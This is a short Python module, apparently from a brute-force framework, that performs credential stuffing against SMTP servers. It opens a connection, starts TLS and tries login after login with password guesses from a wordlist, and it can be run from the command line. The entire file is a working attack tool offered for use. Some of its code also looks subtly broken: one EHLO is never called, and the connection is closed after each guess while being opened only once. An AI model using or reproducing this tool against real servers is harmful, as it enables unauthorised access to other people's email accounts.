#!/usr/bin/env python3 """ smtp.py Module Name: smtp Author: Core Maintainers Description: Protocol-based module for credential stuffing smtp """ import dataclasses import smtplib from brute.core.protocol import ProtocolBruteforce @dataclasses.dataclass class Smtp(ProtocolBruteforce): name = "smtp" port = 25 @property def success(self) -> int: return 0 def init(self): self.smtp = smtplib.SMTP(self.address, self.port) # def sanity(self): def brute(self, username, pwd_guess) -> int: status: int = 0 try: self.smtp.ehlo() self.smtp.starttls() self.smtp.ehlo self.smtp.login(username, pwd_guess) except smtplib.SMTPAuthenticationError: status = -1 self.smtp.close() return status if __name__ == "__main__": args = Smtp.parse_args() Smtp( address=args.address, username=args.username, wordlist=args.wordlist, delay=args.delay, port=args.port, ).run()